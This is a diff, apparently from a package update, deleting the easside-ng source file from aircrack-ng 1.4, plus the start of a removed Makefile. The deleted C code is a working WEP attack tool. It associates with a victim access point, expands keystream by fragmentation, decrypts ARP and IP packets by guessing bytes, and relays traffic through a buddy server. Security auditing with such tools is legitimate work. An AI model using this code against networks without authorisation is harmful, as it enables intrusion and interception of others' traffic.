-static void fill_basic(struct east_state * es, struct ieee80211_frame * wh)
-{
-	unsigned short * sp;
-
-	/* macs */
-	memcpy(wh->i_addr1, es->es_apmac, sizeof(wh->i_addr1));
-	memcpy(wh->i_addr2, es->es_mymac, sizeof(wh->i_addr2));
-	memcpy(wh->i_addr3, es->es_apmac, sizeof(wh->i_addr3));
-
-	/* duration */
-	sp = (unsigned short *) wh->i_dur;
-	//	*sp = htole16(32767);
-	*sp = htole16(0);
-
-	/* seq */
-	sp = (unsigned short *) wh->i_seq;
-	*sp = fnseq(0, es->es_txseq);
-}
-
-static void send_frame(struct east_state * es, void * buf, int len)
-{
-	int rc;
-
-	rc = wi_write(es->es_wi, buf, len, NULL);
-	if (rc == -1) err(1, "wi_write()");
-	if (rc != len)
-	{
-		printf("ERROR: Packet length changed while transmitting (%d instead of "
-			   "%d).\n",
-			   rc,
-			   len);
-		exit(1);
-	}
-
-	if (gettimeofday(&es->es_txlast, NULL) == -1) err(1, "gettimeofday()");
-}
-
-static int too_early(struct timeval * tv, int to, struct timeval * last_sent)
-{
-	struct timeval now;
-	unsigned int elapsed;
-
-	/* check if timeout expired */
-	if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");
-
-	elapsed = msec_diff(&now, last_sent);
-	if (elapsed < (unsigned int) to)
-	{
-		msec_to_tv(to - elapsed, tv);
-		return 1;
-	}
-
-	msec_to_tv(to, tv);
-	return 0;
-}
-
-static void send_auth(struct east_state * es, struct timeval * tv)
-{
-	unsigned char buf[4096];
-	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
-	unsigned short * sp;
-	int len;
-
-	if (too_early(tv, es->es_txto_mgt, &es->es_txlast)) return;
-
-	memset(buf, 0, sizeof(buf));
-
-	es->es_txseq++;
-	fill_basic(es, wh);
-	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
-
-	/* transaction number */
-	sp = (unsigned short *) (wh + 1);
-	sp++;
-	*sp = htole16(1);
-
-	len = sizeof(*wh) + 2 + 2 + 2;
-	printf("Sending auth request\n");
-	send_frame(es, wh, len);
-}
-
-static void send_assoc(struct east_state * es, struct timeval * tv)
-{
-	unsigned char buf[4096];
-	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
-	unsigned short * sp;
-	int len;
-	unsigned char * ptr;
-
-	if (too_early(tv, es->es_txto_mgt, &es->es_txlast)) return;
-
-	memset(buf, 0, sizeof(buf));
-
-	es->es_txseq++;
-	fill_basic(es, wh);
-	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
-
-	sp = (unsigned short *) (wh + 1);
-
-	/* capability */
-	*sp++ = htole16(IEEE80211_CAPINFO_ESS | IEEE80211_CAPINFO_PRIVACY);
-	*sp++ = htole16(100); /* listen interval */
-
-	/* ssid */
-	ptr = (unsigned char *) sp;
-	*ptr++ = IEEE80211_ELEMID_SSID;
-	len = strlen(es->es_apssid);
-	*ptr++ = len;
-	strncpy((char *) ptr, es->es_apssid, 32);
-	ptr += len;
-
-	/* rates */
-	*ptr++ = IEEE80211_ELEMID_RATES;
-	*ptr++ = 8;
-	*ptr++ = 2 | 0x80;
-	*ptr++ = 4 | 0x80;
-	*ptr++ = 11 | 0x80;
-	*ptr++ = 22 | 0x80;
-	*ptr++ = 12 | 0x80;
-	*ptr++ = 24 | 0x80;
-	*ptr++ = 48 | 0x80;
-	*ptr++ = 72;
-
-	/* x-rates */
-	*ptr++ = IEEE80211_ELEMID_XRATES;
-	*ptr++ = 4;
-	*ptr++ = 48;
-	*ptr++ = 72;
-	*ptr++ = 96;
-	*ptr++ = 108;
-
-	len = ptr - buf;
-	printf("Sending assoc request\n");
-	send_frame(es, wh, len);
-}
-
-static void put_crc32(void * data, int len)
-{
-	unsigned int * ptr = (unsigned int *) ((char *) data + len);
-
-	*ptr = get_crc32(data, len);
-}
-
-static void expand_prga(struct east_state * es, struct timeval * tv)
-{
-	unsigned char buf[2048];
-	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
-	unsigned char * data = (unsigned char *) (wh + 1);
-	unsigned short * sp = (unsigned short *) wh->i_seq;
-	int dlen;
-	int early;
-	int totlen;
-
-	/* start from beginning */
-	if (es->es_expand_num == -1)
-	{
-		es->es_txack = 0;
-		es->es_expand_num = 0;
-		es->es_txseq++;
-		es->es_clearp = es->es_clear;
-	}
-
-	early = too_early(tv, es->es_txto_expand, &es->es_txlast);
-
-	if (!es->es_txack && early) return;
-
-	memset(buf, 0, sizeof(buf));
-
-	/* see if we got an ack to move onto next frag */
-	if (es->es_txack)
-	{
-		es->es_expand_num++;
-		es->es_clearp = es->es_clearpnext;
-		if (es->es_expand_num == es->es_expand_factor)
-		{
-			es->es_expand_num = 0;
-			es->es_txseq++;
-			es->es_clearp = es->es_clear;
-		}
-		es->es_txack = 0;
-	}
-	else
-		wh->i_fc[1] |= IEEE80211_FC1_RETRY;
-
-	if (es->es_expand_num == 0 && early) return;
-
-	/* 802.11 header */
-	fill_basic(es, wh);
-	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
-	wh->i_fc[1]
-		|= IEEE80211_FC1_MORE_FRAG | IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
-	memset(wh->i_addr3, 0xff, 6);
-
-	/* iv & crc */
-	memcpy(data, es->es_iv, 3);
-	data += 4;
-	dlen = es->es_prgalen - 4;
-
-	/* see how much we sent */
-	totlen = dlen * es->es_expand_num;
-	es->es_expand_len = totlen + dlen + 4;
-	if ((int) sizeof(es->es_prga) < es->es_expand_len)
-	{
-		es->es_expand_len -= dlen;
-		dlen = sizeof(es->es_prga) - totlen - 4;
-
-		/* don't need as many frags; start over */
-		if (dlen <= 0)
-		{
-			es->es_expand_num = -1;
-			es->es_expand_len = sizeof(es->es_prga);
-			return;
-		}
-
-		es->es_expand_len += dlen;
-		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
-	}
-
-	assert((es->es_clearp >= es->es_clear)
-		   && ((es->es_clearp + dlen) < &es->es_clear[sizeof(es->es_clear)]));
-	memcpy(data, es->es_clearp, dlen);
-	es->es_clearpnext = es->es_clearp + dlen;
-
-	put_crc32(data, dlen);
-	xor(data, data, es->es_prga, es->es_prgalen);
-
-	/* send frag */
-	if ((es->es_expand_num + 1) == es->es_expand_factor)
-		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
-
-	*sp = fnseq(es->es_expand_num, es->es_txseq);
-	printf("Sending %d byte fragment %d:%d\r",
-		   dlen,
-		   es->es_txseq,
-		   es->es_expand_num);
-	fflush(stdout);
-	send_frame(es, wh, data - buf + dlen + 4);
-}
-
-static void decrypt_packet(struct east_state * es, struct timeval * tv)
-{
-	unsigned char buf[2048];
-	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
-	unsigned char * data = (unsigned char *) (wh + 1);
-	int dlen;
-
-	if (too_early(tv, es->es_txto_decrypt, &es->es_txlast)) return;
-
-	memset(buf, 0, sizeof(buf));
-
-	/* 802.11 header */
-	es->es_txseq++;
-	fill_basic(es, wh);
-	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
-	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
-	memcpy(wh->i_addr3, S_MCAST, 5);
-	wh->i_addr3[5] = es->es_prga_d[es->es_prga_dlen];
-
-	/* iv & crc */
-	memcpy(data, es->es_prga_div, 3);
-	data += 4;
-	dlen = es->es_prga_dlen - 4 + 1;
-	memcpy(data, es->es_clear, dlen);
-	put_crc32(data, dlen);
-	xor(data, data, es->es_prga_d, es->es_prga_dlen + 1);
-
-	printf_time("Guessing prga byte %d with %.2X\r",
-				es->es_prga_dlen,
-				es->es_prga_d[es->es_prga_dlen]);
-	fflush(stdout);
-	send_frame(es, wh, data - buf + dlen + 4);
-
-	es->es_prga_d[es->es_prga_dlen]++;
-}
-
-static void decrypt_arp(struct east_state * es, struct timeval * tv)
-{
-	/* init */
-	if (es->es_astate != AS_DECRYPT_ARP)
-	{
-		unsigned char clear[1024];
-		unsigned char * prga = es->es_prga_d;
-		unsigned char * ct;
-		struct ieee80211_frame * wh
-			= (struct ieee80211_frame *) es->es_packet_arp;
-		int len;
-		es->es_astate = AS_DECRYPT_ARP;
-
-		ct = (unsigned char *) (wh + 1);
-		memcpy(es->es_prga_div, ct, 3);
-		ct += 4;
-
-		len = known_clear(clear, wh, 8 + sizeof(struct arphdr) + 10 * 2);
-		xor(prga, clear, ct, len);
-		prga += len;
-
-		*prga = 0;
-		es->es_prga_dlen = prga - es->es_prga_d;
-	}
-
-	decrypt_packet(es, tv);
-}
-
-static void decrypt_ip(struct east_state * es, struct timeval * tv)
-{
-	/* init */
-	if (es->es_astate != AS_DECRYPT_IP)
-	{
-		unsigned char clear[1024];
-		unsigned char * prga = es->es_prga_d;
-		unsigned char * ct;
-		struct ieee80211_frame * wh = (struct ieee80211_frame *) es->es_packet;
-		int len;
-		unsigned short totlen;
-		es->es_astate = AS_DECRYPT_IP;
-
-		ct = (unsigned char *) (wh + 1);
-		memcpy(es->es_prga_div, ct, 3);
-		ct += 4;
-
-		/* llc snap */
-		len = 8;
-		memcpy(clear, S_LLC_SNAP_IP, len);
-		xor(prga, clear, ct, len);
-		prga += len;
-		ct += len;
-
-		/* ip hdr */
-		len = 2;
-		memcpy(clear, "\x45\x00", len);
-		xor(prga, clear, ct, len);
-		prga += len;
-		ct += len;
-
-		/* tot len */
-		totlen = es->es_have_packet - sizeof(*wh) - 4 - 8 - 4;
-		totlen = htons(totlen);
-		len = 2;
-		memcpy(clear, &totlen, len);
-		xor(prga, clear, ct, len);
-		prga += len;
-		ct += len;
-
-		*prga = 0;
-		es->es_prga_dlen = prga - es->es_prga_d;
-	}
-
-	decrypt_packet(es, tv);
-}
-
-static void find_ip(struct east_state * es, struct timeval * tv)
-{
-	if (es->es_rtrip.s_addr && es->es_myip.s_addr)
-	{
-		set_tap_ip(es);
-		es->es_astate = AS_FIND_RTR_MAC;
-
-		return;
-	}
-
-	if (es->es_have_arp)
-		decrypt_arp(es, tv);
-	else if (es->es_have_packet)
-		decrypt_ip(es, tv);
-}
-
-static void send_whohas(struct east_state * es, struct timeval * tv)
-{
-	unsigned char buf[2048];
-	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
-	unsigned char * data = (unsigned char *) (wh + 1);
-	int dlen;
-	struct arphdr * ah;
-	unsigned char * datas;
-
-	if (too_early(tv, es->es_txto_whohas, &es->es_txlast)) return;
-
-	memset(buf, 0, sizeof(buf));
-
-	/* 802.11 header */
-	es->es_txseq++;
-	fill_basic(es, wh);
-	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
-	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
-	memset(wh->i_addr3, 0xff, 6);
-
-	/* iv */
-	memcpy(data, es->es_iv, 3);
-	data += 4;
-	datas = data;
-
-	/* llc snap */
-	memcpy(data, S_LLC_SNAP_ARP, 8);
-	data += 8;
-
-	/* arp */
-	ah = (struct arphdr *) data;
-	ah->ar_hrd = htons(ARPHRD_ETHER);
-	ah->ar_pro = htons(ETHERTYPE_IP);
-	ah->ar_hln = 6;
-	ah->ar_pln = 4;
-	ah->ar_op = htons(ARPOP_REQUEST);
-	data = (unsigned char *) (ah + 1);
-
-	memcpy(data, es->es_mymac, 6);
-	data += 6;
-	memcpy(data, &es->es_myip, 4);
-	data += 4;
-	data += 6;
-	memcpy(data, &es->es_rtrip, 4);
-	data += 4;
-
-	dlen = data - datas;
-	put_crc32(datas, dlen);
-	assert(es->es_prgalen >= dlen + 4);
-	xor(datas, datas, es->es_prga, dlen + 4);
-
-	printf("Sending who has %s", inet_ntoa(es->es_rtrip));
-	printf(" tell %s\n", inet_ntoa(es->es_myip));
-	send_frame(es, wh, data - buf + 4);
-}
-
-static void check_inet(struct east_state * es, struct timeval * tv)
-{
-	unsigned char buf[2048];
-	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
-	unsigned char * data = (unsigned char *) (wh + 1);
-	int dlen;
-	struct ip * iph;
-	unsigned char * datas;
-	unsigned short * seq;
-	struct udphdr * uh;
-
-	if (too_early(tv, es->es_txto_checkinet, &es->es_txlast)) return;
-
-	memset(buf, 0, sizeof(buf));
-
-	/* 802.11 header */
-	es->es_txseq++;
-	fill_basic(es, wh);
-	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
-	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
-	memcpy(wh->i_addr3, es->es_rtrmac, 6);
-
-	/* iv */
-	memcpy(data, es->es_iv, 3);
-	data += 4;
-	datas = data;
-
-	/* llc snap */
-	memcpy(data, S_LLC_SNAP_IP, 8);
-	data += 8;
-
-	/* ip */
-	iph = (struct ip *) data;
-	iph->ip_hl = 5;
-	iph->ip_v = 4;
-	iph->ip_len = htons(sizeof(*iph) + sizeof(*uh) + S_HELLO_LEN);
-	iph->ip_id = htons(666);
-	iph->ip_ttl = 69;
-	iph->ip_p = IPPROTO_UDP;
-	iph->ip_src = es->es_myip;
-	iph->ip_dst = es->es_srvip;
-	iph->ip_sum = in_cksum((unsigned short *) iph, 20);
-
-	/* udp */
-	uh = (struct udphdr *) (iph + 1);
-	uh->uh_sport = htons(53);
-	uh->uh_dport = htons(es->es_udp_port);
-	uh->uh_ulen = htons(sizeof(*uh) + S_HELLO_LEN);
-	uh->uh_sum = 0;
-
-	/* data */
-	data = (unsigned char *) (uh + 1);
-
-	memcpy(data, "sorbo", 5);
-	seq = (unsigned short *) (data + 5);
-	es->es_rpacket_id += 1;
-	*seq = htons(es->es_rpacket_id);
-	data += S_HELLO_LEN;
-
-	dlen = data - datas;
-	put_crc32(datas, dlen);
-	assert(es->es_prgalen >= dlen + 4);
-	xor(datas, datas, es->es_prga, dlen + 4);
-
-	printf("Checking for internet... %d\n", es->es_rpacket_id);
-	send_frame(es, wh, data - buf + 4);
-	if (gettimeofday(&es->es_rtt, NULL) == -1) err(1, "gettimeofday()");
-}
-
-static void redirect_sendip(struct east_state * es, struct rpacket * rp)
-{
-	unsigned char buf[2048];
-	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
-	unsigned char * data = (unsigned char *) (wh + 1);
-	int dlen;
-	struct ip * iph;
-	unsigned char * datas;
-	struct udphdr * uh;
-	unsigned short * id;
-
-	memset(buf, 0, sizeof(buf));
-
-	/* 802.11 header */
-	fill_basic(es, wh);
-	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
-	wh->i_fc[1]
-		|= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP | IEEE80211_FC1_MORE_FRAG;
-	memcpy(wh->i_addr3, es->es_rtrmac, 6);
-
-	/* iv */
-	memcpy(data, es->es_iv, 3);
-	data += 4;
-	datas = data;
-
-	/* llc snap */
-	memcpy(data, S_LLC_SNAP_IP, 8);
-	data += 8;
-
-	/* ip */
-	iph = (struct ip *) data;
-	iph->ip_hl = 5;
-	iph->ip_v = 4;
-	dlen = rp->rp_len - sizeof(*wh) - 4 - 4 + 2;
-	iph->ip_len = htons(sizeof(*iph) + sizeof(*uh) + dlen);
-	iph->ip_id = htons(666);
-	iph->ip_ttl = 69;
-	iph->ip_p = IPPROTO_UDP;
-	iph->ip_src = es->es_myip;
-	iph->ip_dst = es->es_srvip;
-	iph->ip_sum = in_cksum((unsigned short *) iph, 20);
-
-	/* udp */
-	uh = (struct udphdr *) (iph + 1);
-	uh->uh_sport = htons(53);
-	uh->uh_dport = htons(es->es_udp_port);
-	uh->uh_ulen = htons(sizeof(*uh) + dlen);
-	uh->uh_sum = 0;
-
-	/* packet id */
-	id = (unsigned short *) (uh + 1);
-	*id++ = htons(rp->rp_id);
-
-	/* data */
-	data = (unsigned char *) id;
-
-	dlen = data - datas;
-	put_crc32(datas, dlen);
-	assert(es->es_prgalen >= dlen + 4);
-	xor(datas, datas, es->es_prga, dlen + 4);
-
-#if 0
-	printf("Sending IP for %d %d:0\n",
-	       rp->rp_id, es->es_txseq);
-#endif
-	send_frame(es, wh, data - buf + 4);
-}
-
-static void redirect_sendfrag(struct east_state * es, struct rpacket * rp)
-{
-	unsigned char buf[2048];
-	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
-	unsigned char * data = (unsigned char *) (wh + 1);
-	int dlen;
-	unsigned short * sp = (unsigned short *) wh->i_seq;
-
-	memset(buf, 0, sizeof(buf));
-
-	/* 802.11 header */
-	fill_basic(es, wh);
-	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
-	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
-	memcpy(wh->i_addr3, es->es_rtrmac, 6);
-	memset(wh->i_addr3, 0xff, 6);
-	*sp = fnseq(1, es->es_txseq);
-
-	dlen = rp->rp_len - sizeof(*wh);
-	memcpy(data, ((struct ieee80211_frame *) rp->rp_packet) + 1, dlen);
-
-#if 0
-	printf("Sending frag for %d %d:1 [%d]\n",
-	       rp->rp_id, es->es_txseq, dlen - 8);
-#endif
-	send_frame(es, wh, sizeof(*wh) + dlen);
-}
-
-static void redirect(struct east_state * es, struct timeval * tv)
-{
-	struct rpacket * rp = get_head(es);
-
-	if (!rp) return;
-
-	if (too_early(tv, es->es_txto_redirect, &es->es_txlast)) return;
-
-	es->es_txseq++;
-	printf("Redirecting packet id %d len %d [qlen %d]\n",
-		   rp->rp_id,
-		   rp->rp_len,
-		   queue_len(es));
-
-	/* rtt */
-	if (!es->es_rtt_id || (es->es_rtt_id = rp->rp_id))
-	{
-		es->es_rtt_id = rp->rp_id;
-		if (gettimeofday(&es->es_rtt, NULL) == -1) err(1, "gettimeofday()");
-	}
-
-	/* fire fragz */
-	redirect_sendip(es, rp);
-	usleep(1 * 1000);
-	redirect_sendfrag(es, rp);
-}
-
-static void associated(struct east_state * es, struct timeval * tv)
-{
-	switch (es->es_astate)
-	{
-		case AS_NOPRGA:
-			break;
-
-		case AS_PRGA_EXPAND:
-			expand_prga(es, tv);
-			break;
-
-		case AS_FIND_IP:
-			find_ip(es, tv);
-			break;
-
-		case AS_DECRYPT_ARP:
-			decrypt_arp(es, tv);
-			break;
-
-		case AS_DECRYPT_IP:
-			decrypt_ip(es, tv);
-			break;
-
-		case AS_FIND_RTR_MAC:
-			send_whohas(es, tv);
-			break;
-
-		case AS_CHECK_INET:
-			check_inet(es, tv);
-			break;
-
-		case AS_REDIRECT:
-			redirect(es, tv);
-			break;
-
-		default:
-			abort();
-			break;
-	}
-}
-
-static void buddy_inet_check(struct east_state * es)
-{
-	struct
-	{
-		struct in_addr addr;
-		unsigned short id;
-	} __packed data;
-	struct timeval now;
-	int rtt;
-
-	assert(sizeof(data) == 6);
-
-	if (recv(es->es_buddys, &data, sizeof(data), 0) != sizeof(data))
-		err(1, "buddy_inet_check: recv()");
-
-	if (es->es_astate != AS_CHECK_INET) return;
-
-	memcpy(&es->es_pubip, &data.addr, sizeof(es->es_pubip));
-	printf("Internet w0rx.  Public IP %s\n", inet_ntoa(es->es_pubip));
-
-	data.id = ntohs(data.id);
-	if (data.id != es->es_rpacket_id)
-	{
-		printf("seq doesn't match %d %d\n", data.id, es->es_rpacket_id);
-		return;
-	}
-
-	if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");
-
-	rtt = msec_diff(&now, &es->es_rtt);
-	es->es_astate = AS_REDIRECT;
-	printf("Rtt %dms\n", rtt);
-
-	if (es->es_iponly) reset(es);
-}
-
-static void buddy_packet(struct east_state * es)
-{
-	unsigned char buf[2048];
-	unsigned short * p = (unsigned short *) buf;
-	unsigned short id, len;
-	struct rpacket * rp;
-	struct ieee80211_frame * wh;
-	unsigned char * ptr;
-	int got = 0;
-	int rc;
-
-	if ((rc = recv(es->es_buddys, buf, 4, 0)) != 4)
-	{
-		if (rc == -1) err(1, "buddy_packet: recv() id & len");
-		printf("buddy_packet: recv id len got %d/%d\n", rc, 4);
-		exit(1);
-	}
-
-	id = ntohs(*p);
-	p++;
-	len = ntohs(*p);
-	p++;
-
-	assert(len + 6 <= (int) sizeof(buf));
-
-	ptr = &buf[6];
-	got = 0;
-	while (got != len)
-	{
-		int rem = len - got;
-		rc = recv(es->es_buddys, ptr, rem, 0);
-		if (rc == -1) err(1, "buddy_packet: recv() packet");
-		got += rc;
-		ptr += rc;
-	}
-
-	if (es->es_astate != AS_REDIRECT) return;
-
-	printf_time("Got packet %d", id);
-	if (es->es_rtt_id == id)
-	{
-		struct timeval now;
-		int rtt;
-
-		if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");
-
-		rtt = msec_diff(&now, &es->es_rtt);
-		es->es_rtt_id = 0;
-		printf(" rtt %dms", rtt);
-
-		if (es->es_srtt == 0)
-			es->es_srtt = rtt;
-		else
-		{
-			es->es_srtt += rtt;
-			es->es_srtt >>= 1;
-		}
-		if (es->es_srtt == 0) es->es_srtt = 1;
-
-		es->es_txto_redirect = es->es_srtt << 1;
-		if (es->es_txto_redirect < S_MIN_RTO) es->es_txto_redirect = S_MIN_RTO;
-
-		printf(" srtt %dms rto %dms", es->es_srtt, es->es_txto_redirect);
-	}
-	rp = get_packet(es, id);
-	if (!rp)
-	{
-		printf(" [not in queue]\n");
-		return;
-	}
-
-	wh = (struct ieee80211_frame *) rp->rp_packet;
-	memcpy(buf, get_da(wh), 6);
-	memcpy(&buf[6], get_sa(wh), 6);
-
-	len += 6;
-	if (ti_write(es->es_ti, buf, len) != len) err(1, "ti_write()");
-
-	remove_packet(es, id);
-	printf(" qlen %d\n", queue_len(es));
-	clear_timeout(es);
-}
-
-static void read_buddy(struct east_state * es)
-{
-	unsigned short cmd;
-	int rc;
-
-	rc = recv(es->es_buddys, &cmd, sizeof(cmd), 0);
-	if (rc != sizeof(cmd)) err(1, "read_buddy: can't get cmd\n");
-
-	cmd = ntohs(cmd);
-
-	switch (cmd)
-	{
-		case S_CMD_INET_CHECK:
-			buddy_inet_check(es);
-			break;
-
-		case S_CMD_PACKET:
-			buddy_packet(es);
-			break;
-
-		default:
-			abort();
-			break;
-	}
-}
-
-static void read_tap(struct east_state * es)
-{
-	unsigned char buf[2048];
-	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
-	unsigned char * data = (unsigned char *) (wh + 1);
-	int dlen;
-	unsigned char * datas;
-	unsigned char dst[6];
-	struct timeval old;
-
-	memset(buf, 0, sizeof(buf));
-
-	dlen = ti_read(es->es_ti, data - 2, S_MTU + 14);
-	if (dlen == -1) err(1, "ti_read()");
-	memcpy(dst, data - 2, 6);
-
-	/* 802.11 header */
-	es->es_txseq++;
-	fill_basic(es, wh);
-	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
-	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
-	memcpy(wh->i_addr3, dst, 6);
-
-	/* iv */
-	memcpy(data, es->es_iv, 3);
-	data[3] = 0;
-	data += 4;
-	datas = data;
-
-	/* llc snap */
-	memcpy(data, S_LLC_SNAP, 6);
-	data += 8;
-
-	dlen = dlen - 14 + 8;
-	put_crc32(datas, dlen);
-	assert(es->es_prgalen >= dlen + 4);
-	xor(datas, datas, es->es_prga, dlen + 4);
-
-	printf_time("Sending frame from tap %d\n", dlen);
-	old = es->es_txlast;
-	send_frame(es, wh, sizeof(*wh) + 4 + dlen + 4);
-	es->es_txlast = old;
-}
-
-static void own(struct east_state * es)
-{
-	fd_set rfds;
-	struct timeval tv, *tvp;
-	int maxfd;
-
-	if (es->es_prgalen) es->es_astate = AS_PRGA_EXPAND;
-	if (es->es_prgalen == sizeof(es->es_prga)) es->es_astate = AS_FIND_IP;
-
-	for (;;)
-	{
-		FD_ZERO(&rfds);
-		maxfd = wi_fd(es->es_wi);
-		FD_SET(maxfd, &rfds);
-		memset(&tv, 0, sizeof(tv));
-		tvp = NULL;
-
-		if (es->es_buddys)
-		{
-			FD_SET(es->es_buddys, &rfds);
-			if (es->es_buddys > maxfd) maxfd = es->es_buddys;
-		}
-
-		if (es->es_astate > AS_PRGA_EXPAND && es->es_state == S_ASSOCIATED)
-		{
-			int tapfd = ti_fd(es->es_ti);
-
-			FD_SET(tapfd, &rfds);
-			if (tapfd > maxfd) maxfd = tapfd;
-		}
-
-		switch (es->es_state)
-		{
-			case S_SEARCHING:
-				if (!es->es_chanlock) chan_hop(es, &tv);
-				break;
-
-			case S_SENDAUTH:
-				send_auth(es, &tv);
-				break;
-
-			case S_SENDASSOC:
-				send_assoc(es, &tv);
-				break;
-
-			case S_ASSOCIATED:
-				associated(es, &tv);
-				break;
-
-			default:
-				abort();
-				break;
-		}
-
-		if (tv.tv_sec || tv.tv_usec) tvp = &tv;
-
-		if (select(maxfd + 1, &rfds, NULL, NULL, tvp) == -1) err(1, "select()");
-
-		if (FD_ISSET(wi_fd(es->es_wi), &rfds))
-		{
-			read_wifi(es);
-		}
-
-		if (es->es_buddys && FD_ISSET(es->es_buddys, &rfds)) read_buddy(es);
-
-		if (FD_ISSET(ti_fd(es->es_ti), &rfds)) read_tap(es);
-	}
-}
-
-static void usage(char * p)
-{
-	if (p)
-	{
-	}
-	char * version_info
-		= getVersion("Easside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
-	printf("\n"
-		   "  %s - (C) 2007, 2008, 2009 Andrea Bittau\n"
-		   "  https://www.aircrack-ng.org\n"
-		   "\n"
-		   "  Usage: easside-ng <options>\n"
-		   "\n"
-		   "  Options:\n"
-		   "\n"
-		   "       -h                : This help screen\n"
-		   "       -v   <victim mac> : Victim BSSID\n"
-		   "       -m      <src mac> : Source MAC address\n"
-		   "       -i           <ip> : Source IP address\n"
-		   "       -r    <router ip> : Router IP address\n"
-		   "       -s     <buddy ip> : Buddy-ng IP address (mandatory)\n"
-		   "       -f        <iface> : Interface to use (mandatory)\n"
-		   "       -c      <channel> : Lock card to this channel\n"
-		   "       -n                : Determine Internet IP only\n"
-		   "\n",
-		   version_info);
-	free(version_info);
-}
-
-static void load_prga(struct east_state * es)
-{
-	int fd;
-	int rc;
-
-	fd = open(S_PRGA_LOG, O_RDONLY);
-	if (fd == -1) return;
-
-	rc = read(fd, es->es_iv, 3);
-	if (rc != 3)
-	{
-		printf("Can't read IV from %s\n", S_PRGA_LOG);
-		exit(1);
-	}
-
-	rc = read(fd, es->es_prga, sizeof(es->es_prga));
-	if (rc == -1) err(1, "load_prga: read()");
-	es->es_prgalen = rc;
-	close(fd);
-
-	printf("Loaded %d PRGA bytes from %s\n", es->es_prgalen, S_PRGA_LOG);
-}
-
-int main(int argc, char * argv[])
-{
-	int ch;
-	struct east_state * es = &_es;
-
-	init_defaults(es);
-
-	while ((ch = getopt(argc, argv, "hv:m:i:r:s:f:nc:")) != -1)
-	{
-		switch (ch)
-		{
-			case 'c':
-				es->es_chanlock = atoi(optarg);
-				break;
-
-			case 'f':
-				strncpy(es->es_ifname, optarg, sizeof(es->es_ifname) - 1);
-				es->es_ifname[sizeof(es->es_ifname) - 1] = 0;
-				break;
-
-			case 'v':
-				if (str2mac(es->es_apmac, optarg) == -1)
-				{
-					printf("Can't parse AP mac\n");
-					exit(1);
-				}
-				break;
-
-			case 'm':
-				if (str2mac(es->es_mymac, optarg) == -1)
-				{
-					printf("Can't parse my mac\n");
-					exit(1);
-				}
-				es->es_setmac = 1;
-				break;
-
-			case 'i':
-				if (!inet_aton(optarg, &es->es_myip))
-				{
-					printf("Can't parse my ip\n");
-					exit(1);
-				}
-				break;
-
-			case 'r':
-				if (!inet_aton(optarg, &es->es_rtrip))
-				{
-					printf("Can't parse rtr ip\n");
-					exit(1);
-				}
-				break;
-
-			case 's':
-				if (!inet_aton(optarg, &es->es_srvip))
-				{
-					printf("Can't parse srv ip\n");
-					exit(1);
-				}
-				break;
-
-			case 'n':
-				es->es_iponly = 1;
-				break;
-
-			case 'h':
-			default:
-				usage(argv[0]);
-				exit(0);
-		}
-	}
-
-	if (es->es_srvip.s_addr == 0)
-	{
-		printf("Need at least server IP\n");
-		usage(argv[0]);
-		exit(0);
-	}
-
-	load_prga(es);
-	open_wifi(es);
-	open_tap(es);
-	set_mac(es);
-	if (es->es_chanlock) set_chan(es);
-
-	if (signal(SIGINT, sighand) == SIG_ERR) err(1, "signal(SIGINT)");
-	if (signal(SIGTERM, sighand) == SIG_ERR) err(1, "signal(SIGTERM)");
-
-	printf_time("Ownin...\n");
-	own(es);
-
-	die("the end");
-	exit(0);
-}

aircrack-ng-1.4.tar.gz/src/include Deleted

aircrack-ng-1.4.tar.gz/src/include/Makefile.am Deleted

@@ -1,53 +0,0 @@
-# Aircrack-ng
-#
-# Copyright (C) 2017 Joseph Benden <joe@benden.us>
-#
-# Autotool support was written by: Joseph Benden <joe@benden.us>
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
